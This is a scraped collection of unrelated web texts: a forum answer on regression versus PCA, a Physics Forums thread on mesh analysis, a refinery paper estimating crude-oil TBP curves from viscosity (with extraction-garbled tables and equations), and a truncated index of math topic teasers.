proved. Ahh, I'm seeing a triangle now. Yes, I like that. – Sue VanHattum Sep 24 '17 at 2:13\n\nI don't know if you're doing anything with matrices, but I think this would be a nice opportunity to show the difference in approaches to statistical models.\n\nLinear Regression is easily demonstrated using a transpose and matrix multiplication. This model assumes noise in both the $x$ and $y$ variables. An alternative situation involves noise in only one measure, and now you would want to minimize the distance perpendicular to the line of fit rather than the strict vertical distance as in linear regression.\n\nThis is Principal Component Analysis, and also can be understood through some basic matrix operations. Of course, there is geometry involved in the 2D case that we can visualize but higher than 3D doesn't quite give way to images.\n\nHere is a site with nice visualizations and a fun example about eating in the UK.\n\nhttp://setosa.io/ev/principal-component-analysis/\n\nAlso, see Wikipedia for a more substantial mathematical presentation.\n\nhttps://en.wikipedia.org/wiki/Principal_component_analysis"
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"https://i.stack.imgur.com/7YyhC.jpg",
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https://www.physicsforums.com/threads/mesh-analysis-confusion-on-writing-equations.158264/ | [
"# Mesh Analysis - confusion on writing equations\n\nI'm quite confused by mesh analysis. I understand that the idea is basically to apply KVL to each mesh. For example, if you have a loop that contains, say, a 3ohm and 2ohm resistor, and that's it, what is the correct KVL equation? Is it simply 0=3I+2I?\n\nAt the bottom, I can understand the first equation: you have a 9V source, and the resistors must cause a 9V voltage drop. But the second equation, I don't understand. Why is the first term positive?\n\nLast edited:\n\nberkeman\nMentor\nOn your first question, yes, you would write 0=3I+2I. And you would solve it and get I=0, because there are no sources in your example.\n\nIn the second loop, the first term is positive because of the +/- sign convention on that resistor. In the first loop, the voltage across that resistor is a *voltage drop* following the direction of the first loop current as shown. But it is a *voltage gain* in the direction of the second current loop as shown. Make sense?\n\nYou just have to be careful and consistent in KVL loops to write drops as - voltage changes, and gains as + voltage changes.\n\nLoop2: 0 = 3000(I1 - I2) - 2000I2 - 2000I2\nyes it has to do with the passive sign convention. This equation can also\nbe written as follows\n0 = -3000(I2 - I1) - 2000I2 - 2000I2.\nI2 and I1 goes through 3Kohms, but in opposite directions. in the second loop just follow I2 and write the equation i wrote :) this avoids confusion\ncheers"
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https://ja.scribd.com/document/80114173/TBP-Calculation-Based-on-Viscosity | [
"You are on page 1of 12\n\n# Express estimation of crude oil TBP curves only from the viscosity of the crude oil\n\nG. Argirov, S. Ivanov, G. Cholakov Bulgaria, 8104 Bourgas, Lukoil Neftochim Bourgas AD, Heavy Residue Upgrading Complex-Project, e-mail: Argirov.Georgi.S@neftochim.bg\n\n## Key words: crude oil, distillation, TBP prediction, viscosity.\n\nAbstract\nCrude oil TBP curves are well recognized as an important characteristic, needed to determine the potential of fractions obtained by distillation, to monitor distillation units, to verify the identity of crude oil samples, etc. They can be obtained experimentally or calculated by a variety of methods, which have different precision. The precision of the particular method determines the applicability of the obtained TBP data. Riazis two-parameter distribution model and experimental crude assay data for 117 crudes from all over the world have been used to derive a model for prediction of true boiling point (TBP) curves from the kinematic viscosity of the samples at 37,8 oC. The model was tested by prediction of the cumulative mass fractions of all studied crude samples. It was found that the TBP distribution for fractions boiling up to 340 oC could be predicted with an average relative deviation of the order of 6 %. This is higher than the respective deviation of previously proposed models, e.g. - Riazis model, with an average deviation of 3.3 %. However, these models require experimental data for several properties, while in practical terms the precision of our model is sufficient to detect any significant upsets in the operation of refinery crude distillation units (CDUs), so its computerized procedure may be used as a quick tool for monitoring of the CDU operation.\n\nINTRODUCTION For modern refineries frequent crude oil switching and disturbances in crude distillation unit (CDU) operations often propagate into bigger issues downstream. Managing the change of crudes and diminishing disturbances require regulatory control of the daily performance necessary to respond quickly and adequately to setpoint changes. The quality and value of a crude oil significantly depend on its TBP (true boiling point) distillation curve. Unfortunately, the experimental determination of TBP curves is costly and time consuming, so it is impractical to use them as a tool for daily monitoring of CDUs. This calls for the development of TBP calculation methods, requiring a minimum of experimental data, but having sufficient precision for daily monitoring of CDU operations. Riazi developed a three-parameter distribution model, which is widely used for estimation of the boiling points and other properties of C7+ fractions of petroleum fluids [1, 2]. It predicts TBP distributions with high precision, when at least three experimental points of the TBP curve of the crude are available . Moreover, it can be used for predictions of the rest of the distillation curves, needed in petroleum processing (ASTM D 86, EFV, CD, etc.) If distillation data are not available, the values of at least three crude oil properties (molecular mass, density and refraction index) have to be known. Riazis method can not be used directly for daily monitoring of CDU operations, because of the need of significant amount of tests, but it gives the general lines along which this can be achieved. Stratiev et al. [4, 5] developed further Riazis ideas and showed that the boiling temperature and other property distributions can be calculated when experimental density and distillation data up to 300 oC are an available. The Lukoil Neftochim Bourgas AD (LNB) refinery has developed a data base of potential feedstocks - 117 crude oil assays, characterized by TBP curves, density, sulphur, viscosity, metals, Conradson carbon, and asphalthene content of crude oils and TBP cuts. The crude oils originate from different parts of the world . The aim of this work is to use the LNB database and Riazis ideas, for development of a model for crude oil TBP curve prediction from one routine measurement the crude oils kinematic viscosity at 37.8 oC.\n\nEXPERIMENTAL The TBP distillation of all 117 investigated crude oil samples has been carried out in the AUTODEST 800 Fisher column apparatus, according to STM-D 2892 - for the atmospheric part of the test, and according to STM-D 5236 for the vacuum one. The TBP distillation has been performed in the AUTODEST 800 Fisher column at pressure drop\n\nfrom 760 to 2 mm Hg and in the AUTODEST 860 Fisher column from 1 to 0. 2 mm Hg. The sulphur content has been analyzed according to STM-D 4294. Density at 20 oC has been determined according to STM-D 1298. The viscosity has been measured according to STM-D 445. Table I characterizies the range of variation of the properties of the crude oils. Table I. Characterization of the properties of the crude oils in the database.\nProperty or TBP range Total sulfur, % Specific gravity @150C range per group Viscosity, 37.8 oC, mm2/s TBP yields, % IBP 70 oC Number of crude samples in group/range of values in group I II III IV 64/ 0.5 44/0.51 2.0 4/2.01 2.5 5/>2.5 0.7883-0.8886 0.8095-0.8970 0.8685-0.9047 0.8581-0.9024 88/ 10.00 I 9/1 - 2 incl. 62/3 - 5 incl. 16/6 - 8 incl. 1/9 - 10 incl. 5/1 - 2 incl. 73/3 - 5 incl. 10/6 - 8 incl. 23/5 - 7 incl. 50/8 - 10 incl. 15/11-13 incl. 47/5 - 7 incl. 38/8 - 10 incl. 3/10 - 12 incl. 42/6 - 8 incl. 42/9 - 11 incl. 4/12 - 14 incl. 62/7 - 9 incl. 17/10-12 incl. 6/13-15 incl. 3/16-17 incl. 54/10 -12 incl. 20/13 -15 incl. 6/16 -18 incl. 4/19 -21 incl. 2/22 -23 incl. 1/26 1/20 4/21 - 23 incl. 7/25 - 27 incl. 25/28 -30 incl. 33/31 -33 incl. 10/34 -36 incl. 4/37 -39 incl. 1/40 2/41 1/48 37/1 10 incl. 44/11 20 incl. 7/21 24 incl. 17/10.01 20.0 II 9/1 - 2 incl. 8/3 - 5 incl. 8/1 - 2 incl. 9/3 - 5 incl. 7/3 - 5 incl. 10/6 - 7 incl. 1/3 16/5 - 6 incl. 1/4 16/6 - 8 incl. 14/6 - 8 incl. 3/9 14/10 - 12 incl. 2/13 1/15 7/20.01 30.00 III 2/1 - 2 incl. 5/3 - 5 incl. 2/1 - 2 incl. 5/3 - 5 incl. 4/3 - 5 incl. 3/6 7/4 - 6 incl. 7/6 - 7 incl. 1/5 6/6 - 7 incl. 1/8 6/9-11 incl. 1/12 5/30.01 40.00 IV 4/1 - 2 incl. 1/3 5/1 - 2 incl. 5/4 - 5 incl. 5/3 - 4 incl. 5/4 - 6 incl. 1/5 4/6 - 7 incl. 1/7 4/9-11 incl.\n\n280 343 oC\n\n343 565 oC\n\n5/33 40 incl.\n\nAbove 565 oC\n\n## 4/30 31 incl. 1/34\n\nAs would be shown later, we needed data also for the volume average boiling points (VABP) and the viscosities at 38 oC of the discrete fractions of the crude oils, presented in Table I. Some of these data were measured experimentally, others had to be calculated or approximated to known values. Table II summarizes the origin of the data. Table II. Estimation of the volume average boiling points (VABP) and data for the viscosity at 38 oC (V38) of the crude oil cuts.\nTBP range, o C IBP - 70 70 - 100 100 - 150 150 - 190 190 - 235 235 - 280 280 - 343 343 - 565 565 + VABP, K 326.15* 358.15 398.39 442.57 485.85 529.96 584.29 716.67 949.47** V38, mm2/s 0.32 0.46 0.64 0.96 1.47 2.47 5.11 52.83 1.2x109 Viscosity at 38 oC, mm2/s\n\nestimated as decribed in estimated as decribed in estimated as decribed in estimated as decribed in measured at 38 oC measured at 38 oC measured at 38 oC measured at 38 oC measured at 60 and 99 oC; converted to viscosity at 38 oC as described in \n\n*The initial boiling point, IBP was assumed to be 36 oC (the boiling point of n-pentane). **For calculation of the 565 0C+ range, the mass average boiling points were calculated by Riazis two parameter method , and the VABP of the cuts was assumed to be approximately equal to the mass one.\n\nMethodology Riazis three-parameter distribution model for the absolute boiling points can be presented in the following form : 1 B A log To + T 1 x = To B\n1\n\n(1),\n\nin which T is the temperature on the distillation curve in kelvin and x is the cumulative volume or mass part of the respective distillate, obtained up to that temperature. In order to distinguish cumulative concentrations of distillates in the crude oil from discrete concentrations, we shall further denote the former as xC, and the latter as xD.\n\nA, B, and To are the three parameters, which have to be determined by regression of available distillation data. For atmospheric and vacuum residues the parameter B can be considered a constant with a value of 1.5. To is the initial boiling point (IBP, T at xC = 0). However, it should be lower than the experimentally determined IBP and can be determined by regression of experimental distillation data for xC > 0 and iterations for its value . Alternatively, as shown by Stratiev et al. , To might successfully be replaced by the normal boiling point of isobutane (-11.6 0C), the lowest-boiling component in the crude. For our calculations it is convenient to transform equation (1) into:\nA log U = 1 1 x C B\n1 B\n\n(2),\n\n## in which U is a normalized temperature, defined by:\n\nTo + T =U To\n\n(3)\n\nSolving equation (2) for xC (the cumulative mass fraction distilled up to temperature T, CDM) leads to the following relationship:\n\nxc [ A, B , U ] = 1 e\n\nBU B A\n\n(4)\n\nFor a complex continuous mixture, such as a crude oil, equation (4) can be represented as:\n\n## xC [A, B, U ] = xD [A, B , U ]dU\n\n0\n\n(5),\n\nwhere the function xD [A, B, U] represents the mass of a pseudocomponent, distilled within a certain infinitely small temperature range (dU). The function xC [A, B, 0] is equal to zero for To = T, and Riazis two-parameter model can be differentiated in terms of the normalized temperature U:\n\nx D [A _, B _,U ] = U xC [ A, B,U ]\n\n(6)\n\nThe output of (6) gives a relation between the concentration of a discrete pseudocomponent, distilled within a narrow temperature range (which for\n\npractical purposes can be represented by its average boiling point) and the parameters of Riazis equation:\n\nxD [ A, B,U ] =\n\nBe\n\nBU B 1+ B U A\n\n(7)\n\nThe parameters of (7) can be calculated from experimental data for discrete fractions (pseudocomponents) by an algorithm, described in , if the temperatures in U (To and T) are defined for the respective discrete yields of distillate (xD). However, for achieving the aim of this article, namely development of a model for crude oil TBP prediction from crude viscosity, a combined approach including (7) and other suitable correlations needs to be developed.\n\nDevelopment of a correlation between average boiling point and viscosity A basic concept of the proposed model is that the properties of a petroleum mixture are built-up by a linear or non-linear (depending on the particular property) contribution of the pseudocomponents, contained in that mixture. The viscosity contribution of a pseudocomponent can be expressed by its viscosity blending number (VBN), thereby applying the equation of Refutas . According to this equation the crude oil viscosity could be calculated, knowing the viscosity of its constituent hydrocarbon fractions. The calculations are carried out in three steps: 1. Calculation of the VBN of each pseudocomponent (discrete fraction) of the crude oil at the same temperature by:\nVBNDi = 14.534 xDi ln [ln (vDi+0.8)]+10.975\n\n(8),\n\nwhere vDi is the kinematic viscosity of the crude oil pseudocomponent in mm2/s, and xDi its mass %. 2. Additive calculation of the viscosity number of the crude oil, VBNcrude by:\nVBNcrude = (xD1 VBND1) + (xD2 VBND2) ++ (xDn VBNDn)\n\n(9),\n\nwhere xDi is the percentage mass part of each hydrocarbon fraction of the crude oil. 3. Once the viscosity blending number of a crude oil is obtained from equation (9), the viscosity of the crude oil, vcrude, can be determined by using the invert of equation (8):\n\nVBNcrude10.975\n\nvcrude = e\n\n14.534\n\n0.8\n\n(10)\n\nwhere VBNcrude is the viscosity blending number of the crude oil, determined by (9). Our next task was to develop a correlation for prediction of viscosity blending numbers of the discrete fractions of the crudes from their volume average boiling points. For this purpose the data, presented in Table II were used. For our next steps in the algorithm, it was convenient to present the VABPs of the discrete cuts (Table II) as normalized temperatures (U), calculated by eq. (2) above. Like in , the Riazis IBP of the crude - To, was assumed to be equal of the isobutane boiling point (261 K) the lowest-boiling component in the crude. The viscosities at 38 oC, determined as described in Table II, were used to calculate the VBNs of the respective discrete fractions of each of the 117 crude oil samples. Then the desired correlation, giving the dependence of pseudocomponents VBN from its normalized boiling point, was obtained by regression of the VBN and U data, in the following form:\nVBNDi [U]=14.8567 (0.919903U+ln(0.919903U))\n\n(11)\n\nTable III summarizes the data for the volume average boiling points (VABPs, their transformation into normalized temperatures (U) and the viscosity blending numbers of the discrete fractions (VBN), calculated by (11). Table III. Volume average boiling points, normalized temperatures (U) and viscosity blending numbers of the discrete fractions.\n\nDiscrete fraction boundaries, TBP range, 0C IBP - 70 70 - 100 100 - 150 150 - 190 190 - 235 235 - 280 280 - 343 343 - 565 565 + Discrete fraction boundaries, TBP range, normalized temperature 0.0003 0.314 0.314 0.429 0.429 0.621 0.621 0.774 0.774 0.946 0.946 1.119 1.119 1.360 1.360 2.211 2.211 3.887 VABP, K U, (normalized VABP) VBNcalc\n\n## -20.04 -10.25 -3.58 2.76 8.17 13.48 19.41 30.90 49.05\n\nThe average absolute deviation of the resulting model was an acceptable 2,69%, and the R2 correlation coefficient was higher than 0.999. The right hand side of (11) can be decomposed as:\n\n## VBNDi1[U]=14.8567x0.919903U= 13.6667U VBNDi2[U]=14.8567(ln(0.919903U)) = 14.8567ln(0.919903U)\n\n(12) (13)\n\nIn continuation of our study, we used Riazis two-parameter model (with To fixed at 261 K), as transformed above for for discrete pseudocomponents, distilled up within a certain temperature range, eq. (7) and eq. (9) for the linear calculation of the VBN of a blend, with the aim to define a dependence necessary for evaluation of Riazis model parameters AT (A) BT (B). The mathematical notation is as follows:\nVBN Di [ A, B, a , b ] = x Di [ A, B ,U ]VBN Di 1[U ]dU + x Di [ A, B,U ]VBN Di 2[U ]dU (14),\na a b b\n\nwhere a, b are temperature boundaries of the discrete fraction distilled up within temperature range, expressed by normalized temperatures. The definite integral output gave the following expression for VBN of a discrete pseudocomponent, VBNDi in (9) :\nBa Ba Bb Bb 14.8567 B 0.0834867 e A + ln( a ) e A + 0.0834867 e A ln(b ) e A B\nB B B B\n\nB B Ei a B + Ei b B A A\n\n1 B B + 13 .6667 A B 1 + 1 , a B 1. 1 + 1 , b B B B A B A\n\n(15),\n\nwhere is Riazis gamma function and Ei is ExpIntegral gives the exponential integral function Ei (z). However, in the definite integral output (15), both parameters A and B are unknown. Therefore, we used the relation obtained for a VBN of fraction (VBNDi) with AT (A) and BT (B) originating from Riazis model and the pseudocomponents boiling temperature range (expressed as VABP) to form a system of two equations:\nVBNDi [A, B, 0.000001, 3.877394]=VBNcrude VBNDi [A, B, 0.000001, 1.360153]=2.905\n\n(16) (17)\n\nThe first equation (16) is in fact equation (9) applied to equalize the VBN of the whole crude to the VBN of a pseudocomponent, obtained within the boiling range from IBP to 1000 oC (0 to 3.87, expressed as normalized temperature, U), which covers the crude distillation range up to T98% , as suggested in [4, 5]. The second equation (17) does the same, equalizing to the constant 2.905, the VBN of a fraction distilled up to 343 oC (1.36 expressed as normalized temperature). The above system empirically allows for the determination of Riazis coefficient. The fraction distilled up to 343 oC for equation (17) was chosen because it provided best agreement of the model with the available experimental data. Hence, with the known values of A and B, the prediction of\n\na crude TBP yields for discrete pseudocomponets expressed with normalized VABPs, as shown in Table III mathematically is as follows:\nFractionsTemperatureBoundaries={0.0003,0.314,0.429,0.621,0.774,0.946,1.119,1.360,2.211,3.877}\n\n(18)\n\nFractionMass[A,B,n]=XC[A,B,FractionsTemperatureBoundaries[[n+1]]]XC[A,B, FractionsTemperatureBoundaries[[n]]]\n\n(19),\n\nwhere an equation (18) defines the discrete fraction temperature boundaries in normalized temperature (U) while an equation (19) gives the mass of each discrete fraction. n is equal of the sum of the boundaries covering each discrete fractions (in this case n equals of 9 and it varies between 1 and 9). Further, the obtained mass concentrations of the discrete fractions (i.e., in o): IBP - 70; 70 - 100; 100 - 150; 150 - 190; 190 - 235; 235 - 280; 280 - 343; 343 565; 565+, can be readily summed up for cumulative fractions: IBP - 70; IBP 100; IBP - 150; IBP - 190; IBP 235, etc.\n\nRESULTS AND DISCUSSION In order to test the validity and accuracy of the new proposed model (15), its predictions for discrete fractions were recalculated into predictions for the TBP yields of cumulative fractions of the 117 crude oil assays in the data base. They were compared with the measured TBP yields and with those predicted by Riazis model. The results are summarized in Table IV. Table IV. Comparison of absolute deviations\nTBP cumulative fraction, oC Average absolute deviation of the TBP yields (%) from the 117 crudes, estimated by New model and Riazis model per group crude sample I Riazis model 0.39 0.33 1.03 1.02 0.80 0.96 1.63 1.42 New model 1.09 1.57 2.29 2.23 2.08 1.95 2.74 2.83 Riazis model 0.17 0.16 0.49 0.50 0.56 0.65 0.90 2.06 II New model 1.00 1.59 2.35 2.74 2.96 2.97 2.80 1.81 Riazis model 0.19 0.22 0.46 0.45 0.41 0.63 0.85 1.57 III New model 1.57 2.72 4.18 4.88 5.14 4.83 3.88 3.32 IV Riazis model 0.11 0.10 0.45 0.18 0.57 0.87 0.90 2.08 New model 0.67 1.23 2.27 2.23 3.62 4.10 4.63 3.49\n\nIBP - 70 IBP - 100 IBP - 150 IBP - 190 IBP - 235 IBP - 280 IBP - 343 IBP - 565\n\nTable IV shows that the average absolute deviations of the yields, predicted by Riazis method are several times closer to the experimental values than those estimated by the new method. This not surprising since the parameters of the Riazi model have been calculated from all available TBP data, while the parameters of new model involve estimated data. The calculated average\n\nrelative deviation was reasonably well for white oil fractions distilled up to 3430, amounting of 5.95% against 3.30% - calculated through Riazis model. On the other hand, the deviations of the obtained by calculation by any method yields cannot be less than those which can be reproduced experimentally. For instance, the reproducibility of experimental yields, obtained by the ASTM D 2892 method is 1.2 % for atmospheric and 1.4 % for vacuum fractions . So, the deviations of the new method are comparable to the experimental and thus acceptable for its declared practical applications. Moreover, there are possibilities to improve the new method if more experimental data are available and/or other routinely determined properties of the crudes are used. The adequacy of the model was verified, also for predicting the TBP distribution of a test set of three crude oil samples, not included among the 117 samples used to develop the model. The results obtained are given in Table V. Table V. Absolute deviations of the predictions with the new method for the test set\nProperties Mellitah Visc. at 38 oC, mm2/s Specific gravity @150C TBP range, oC IBP - 70 IBP - 100 IBP - 150 IBP - 190 IBP - 235 IBP - 280 IBP - 343 IBP - 565 2.07 0.8132 Crude oil Western Desert 2.51 0.8200 REBCO 8.25 0.8680\n\n## 0.50 3.72 1.42 1.70 0.77 1.68 1.10 5.00\n\nAbsolute deviation, % 1.64 3.44 4.08 2.87 1.58 1.12 3.62 3.48\n\n## 0.58 1.04 1.25 1.07 0.34 0.05 0.51 0.96\n\nThe deviations with the test set fall within those for the 117 samples used in the development of the model.\n\nCONCLUSIONS The main aim of this work was to develop a method for express prediction of crude true boiling point (TBP) curves, that would be suitable for daily monitoring of the operarion of crude oil distillation units (CDUs). The main results achieved in the realization of this aim can be summatrized as follows:\n\n- The developed new model requires only data from the routine laboratory analysis of the kinematic viscosity of crude oil at 38 o. In its development assay data for 117 crude oils from different parts of the world have been used. The precision of the predictions of the new model, though somewhat worse than those of the original Riazi model, are comparable to the experimental reproducibility of the standard methods for laboratory distillation. The adequacy of the model was verified, also for predicting the TBP distribution of a test set of three crude oil samples, not used in the development of the model. The results of this test showed the consistency of the model predictions. - In practical terms the reported deviation is sufficient to detect any upsets in the operation of refinery CDUs. The method requires only data for the viscosity of crude oil at 38 o, and uses a computerized calculation algorithm, easily realized in Excel or other popular statistical software. - An integral part of the new model is a sub model describing the dependence of the viscosity blending numbers (VBNs) of crude oil pseudocomponents from their average boiling boiling points. The submodel allows for subsequent calculation of other integral parameters for each narrow cut of crude oil, such as: molecular mass, specific gravity and refractive index, including proxy on TBP-distillation curve at known VBNs. - In terms of mathematics, it can be assumed that Riazis model can be reduced to an essentially one-parameter model, taking into account eq. (17) which allows to estimate its property parameters from only one laboratory measurement. The Riazis model, which is originally in integral form, can be subjected to differentiation in order to identify the properties of pseudocomponent.\n\nREFERENCES Riazi, M., Distribution Model for Properties of Hydrocarbon-Plus Fractions, Ind. Eng. Chem. Res., Vol.28 (1989), pp.1831-35. Riazi, M.,A Continuous Model for C7+ Fraction Characterization of Petroleum Fluids, Ind. Eng. Chem. Res., Vol. 36 (1997), pp 4299-4307 Riazi, M. Characterization and properties of petroleum fractions, ASTM Manual Series: MNL 50, 2005. ASTM Stratiev, D. et. all,Method Calculates Crude cut Properties, Oil and Gas Journal/Jan.7, 2008, pp.48-49.\n\n Stratiev, D. Dinkov, K. Kirilov, Evaluation of Crude oil data, IPC 200743rdInternational Petroleum Conference, September 24-26, 2007, Bratislava. Abbott, M. M., Kaufmann, T. G. and Domash, L., \"A Correlation for Predicting Liquid Viscosities of Petroleum Fractions,\" Canadian Journal of Chemical Engineering, Vol. 49, No. 3, 1971, pp. 379-384. Singh, B., Miadonye, A., and Putagunta, V.R., Heavy oil viscosity range from one test, Hydrocarbon Processing, August 1993, pp. 157-160. Robert E. Maples (2000). Petroleum Refinery Process Economics (2nd ed.). Pennwell Books. ASTM Manual series 37, Fuels and Lubricants Handbook, 2003."
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https://www.careerstoday.in/maths?start=300 | [
"# Maths\n\n##### Congruence of Triangles\n\nCongruence is the term used to define an object and its mirror image. Two objects or shapes are said ...\n\n##### Ratios and Proportion\n\nRatio is just a way to compare two quantities while the proportion is an equation which shows that two ...\n\n##### Partial Differential Equation\n\nA Partial Differential Equation commonly denoted as PDE is a differential equation containing partial ...\n\n##### Area of Pentagon\n\nA Pentagon is a five-sided polygon in geometry. It can be regular as well as irregular. The sides and ...\n\n##### Congruence of Triangles Class 9\n\nCongruence of triangles class 9 helps the students to understand the concept of congruence in a different ...\n\n##### Functions & Relations - Real Functions & Algebra of Functions\n\nFunctions are one of the very important concepts in mathematics which have got numerous applications ...\n\n##### Pareto Chart\n\nA Pareto chart is a bar graph or the combination of bar and line graphs. The purpose of using this chart ...\n\n##### Area of a Kite\n\nRhombus- A rhombus is a quadrilateral in which all the four sides are of equal length. Unlike square, ...\n\n##### Congruence in Geometry - Congruent Figures and Lines\n\nIn Geometry, congruence is a term used to define two objects that have same dimensions and shape. Moreover, ...\n\n##### Reciprocal and Division of Fractions\n\nA fraction is a numerical quantity that is not a whole number. Rather it represents a part of the whole. For ...\n\n##### Parallelogram Law\n\nIn Mathematics, the parallelogram law is the fundamental law that belongs to elementary Geometry. This ...\n\n##### Area of Hollow Cylinder\n\nA hollow cylinder is one which is empty from inside and has some difference between the internal and ...\n\n##### Operations on Complex Number\n\nModulus of Complex Number Let $z$ = $x~+~iy$ be a complex number, modulus of a complex number $z$ ...\n\n##### Rectangular Prism\n\nIn Mathematics, Geometry is the study of shapes and configuration of objects. A rectangular prism is ...\n\n##### Angle Relationships: Parallel Lines & Transversal\n\nWhen a line intersects two lines at distinct points, it is called as a transversal. In fig. 3 the line ...\n\n##### Area of Hexagon\n\nDefinition : Regular Hexagon A Hexagon is a closed polygon made of six line segments having six internal ...\n\n##### Consistent and Inconsistent Systems\n\nA pair of linear equations in two variables in general can be represented as $a_1 x + b_1 y + c_1$ ...\n\n##### Recursive Function\n\nRecursive Function is a function which repeats or uses its own previous term to calculate subsequent ...\n\n##### Parallelepiped\n\nParallelepiped is a 3-D shape whose faces are all parallelograms. It is obtained from a Greek word which ...\n\n##### Area of Equilateral Triangle\n\nThe area of an equilateral triangle is the amount of space that it occupies in a 2-dimensional surface. ...\n\n##### Constructing Triangles\n\nA triangle is a three-sided polygon. It has three sides, three vertices and three angles. We know ...\n\n##### Reflection\n\nIn Geometry, reflection is one of the four types of transformations. The four basic transformations are Translation Reflection Rotation Dilation ...\n\n##### Orthogonal Matrix\n\nWhen the product of a matrix to its transpose gives identity value, then the matrix is said to be an ...\n\n##### Area of Triangle\n\nThe area of a triangle is defined as the total space that is enclosed by any particular triangle. The ...\n\n##### Constructing Triangles, SAS\n\nTo satisfy the condition for SAS, two sides and enclosed angle must be given (or known) to us. The construction ...\n\n##### Reflection Symmetry\n\nYou may have often heard of the term ‘symmetry’ in your day to day life. If any object can be divided ...\n\n##### Ordinate\n\nThe ordinate is the second component of an ordered pair. For example, if (x, y) is an ordered pair, then ...\n\n##### Area of an Octagon\n\nAn octagon is a two-dimensional geometrical plane figure. In Geometry, we have studied different polygon ...\n\n##### Line Segment: Construct a Copy of Line Segment\n\nGeometry is an ancient science and an important branch of mathematics. Everyday we come across many shapes ...\n\n##### Relation Between HCF and LCM\n\nTo learn the relation between H.C.F. and L.C.M. of two numbers or the given n numbers first we need to ...\n\n##### What is Optimization\n\nMathematical optimization is the selection of the best element based on a particular criterion from a ...\n\n##### Area Between Two Curves - Calculus\n\nAs we all know that integration means calculating the area by dividing the region into very large number ...\n\n##### Relation Between Mean Median and Mode\n\nIn statistics, for a moderately skewed distribution, there exists a relation between mean, median, and ...\n\n##### Operations on Rational Numbers\n\nRational Numbers are any real numbers that can be expressed as a simple fraction or ratio. Thus, a rational ...\n\n##### Linear Equations: Applications\n\nThe knowledge of mathematics is frequently applied through word problems and the applications of linear ...\n\n##### Triangle Construction\n\nA Triangle is a three sided Polygon made up of Three sides having three angles. It is to be noted that ...\n\n##### Relations and Functions\n\n“Relations and Functions” is one of the most important topics in algebra. Relations and functions - ...\n\n##### Set Operations: Intersection and Difference of Two Sets\n\nIntersection of Sets The intersection of two sets A and B which are subsets of the universal set U, ...\n\n##### Application of Linear Graphs\n\nIn our day-to day life, we observe variation in value of different quantities depending upon the variation ...\n\n##### Construction of Perpendicular Lines\n\nWhen two lines intersect to form right angles then such lines are known as perpendicular to each other. ...\n\n##### Relations and its Types\n\nRelations and its types concepts are one of the crucial algebra topics in mathematics. What are Relations? A ...\n\n##### One to One Function\n\nOne to one function basically denotes the mapping of two sets. A function g is one-to-one if every element ...\n\n##### Apolloniu's Theorem\n\nIn mathematics, theorems are the statements which have proven results based on the previously set statements, ...\n\n##### Continuity and Differentiability\n\nContinuity and Differentiability is one of the most important topics which help students to understand ...\n\n##### Relative Frequency\n\nThe number of times an event occurs is called a frequency. Relative frequency is an experimental one, ...\n\n##### Odd Numbers\n\nOdd numbers are the numbers that cannot be divided into two separate groups evenly. These numbers are ...\n\n##### Angle Sum Property of a Triangle & Exterior Angle Theorem\n\nAngle Sum Property of a Triangle Triangle is the smallest polygon which has three sides and three interior ...\n\n##### Continuous Integration\n\nBy bringing together minuscule data integrals assign a number to a function in such a manner that describes ...\n\n##### Remainder Theorem and Polynomials\n\nAn expression of the form axn + bxn-1 + cxn-2 + ………………. + kx + l, where each variable has ...\n\n##### Angle of Elevation\n\nThe angle of elevation is a widely used concept related to height and distance, especially in trigonometry. ...\n\n##### Conversion of Units\n\nWhat is Unit Conversion? The use of a unit depends on the situation, such as the area of a room is expressed ...\n\n##### Representation of a Function\n\nFunctions, as important they are, is their representation. Usually, functions are represented using formulas ...\n\n##### Oblique Sketch\n\nThe oblique sketching is a pictorial representation of an object, in which the diagram is intended to ...\n\n##### Acute Angle Triangle\n\nIn geometry, a triangle is a closed two-dimensional plane figure with three sides and three angles. A ...\n\n##### Convert Decimal to Fraction\n\nDecimal: In terms of computer, decimal numbers are the numbers which have base 10. But in Mathematics, ...\n\n##### Right Angled Triangle: Constructions (RHS)\n\nThis Criteria for construction of Triangle is possible when the Hypotenuse and one side from the remaining ...\n\n##### Number Theory\n\nNumber theory is a branch of mathematics which helps to study the set of positive whole numbers, say 1, ...\n\n##### Addition and Subtraction of Algebraic Expressions\n\nA combination of variables, constants, and operators constitute an algebraic expression. The four basic ...\n\n##### Convert Octal to Binary\n\nIn order to convert octal to binary number, we have to follow a few steps. Octal numbers have base 8 ...\n\n##### Right Angle Triangle Theorem\n\nTriangle is a polygon which has three sides and three vertices. Triangles having same shape and size ...\n\n##### 2D Shapes\n\nIn geometry, 2d shapes and 3d shapes are explained widely to make you understand the different types ...\n\n##### Coordinate Geometry Formulas\n\nCoordinate geometry is the study of geometry using the coordinate points. In coordinate geometry, the ...\n\n##### Rolle's Theorem and Lagrange's Mean Value Theorem\n\nRolle’s Theorem is a special case of the mean value of theorem which satisfies certain conditions. ...\n\n##### Representing Numbers in General Form\n\nWe come across numbers everyday in our life. We buy a commodity with money and measure its quantity. ...\n\n##### 3D Shapes\n\nWe come across a number of objects of different shapes and sizes in our day to day life. There are golf ...\n\n##### Coordinate System\n\nMathematics in ancient days was divided into two branches ‘Algebra’ and ‘Geometry’. Algebraic ...\n\n##### Root Mean Square\n\nWhat is Root Mean Square (RMS)? Statistically, the root mean square (RMS) is the square root of the ...\n\n##### Number Patterns in Whole Numbers\n\nNumbers have fascinated humans since ages, be it the mathematicians or statisticians. There is so much ...\n\nAddition of Fractions depends on one main factor that is the denominator of the fraction to be added. ...\n\n##### Co - Prime Numbers\n\nWhat are numbers? Try recalling the different types of numbers that you have come across, natural numbers, ...\n\n##### Rotation\n\nThe meaning of rotation in Maths is the circular motion of an object around a center or an axis. In real-life, ...\n\n##### Null Hypothesis\n\nIn mathematics, Statistics deals with the study of research and surveys on the numerical data. For taking ...\n\n##### Additive Identity Vs Multiplicative Identity\n\nIn the world of Numbers which we deal with on daily basis, many of the properties of real numbers are ...\n\n##### Correlation and Regression\n\nCorrelation Analysis Correlation analysis is applied in quantifying the association between two continuous ...\n\n##### Sample Space\n\nA sample space is a collection or a set of possible outcomes of a random experiment. The sample space ...\n\n##### Negative Numbers: Connection to Daily Life\n\nMath might seem a little difficult to a few people. They have few questions like why do we study maths? ...\n\n##### Adjacent Angles & Vertical Angles\n\nThe measure of rotation of a ray, when it is rotated about its endpoint is known as the angle formed ...\n\n##### Cos 0\n\nThe trigonometric functions are also known as an angle function that relates the angles of a triangle ...\n\n##### Scalar Triple Product\n\nBy the name itself, it is evident that scalar triple product of vectors means the product of three vectors. ...\n\n##### Natural Numbers and Whole Numbers\n\nIn 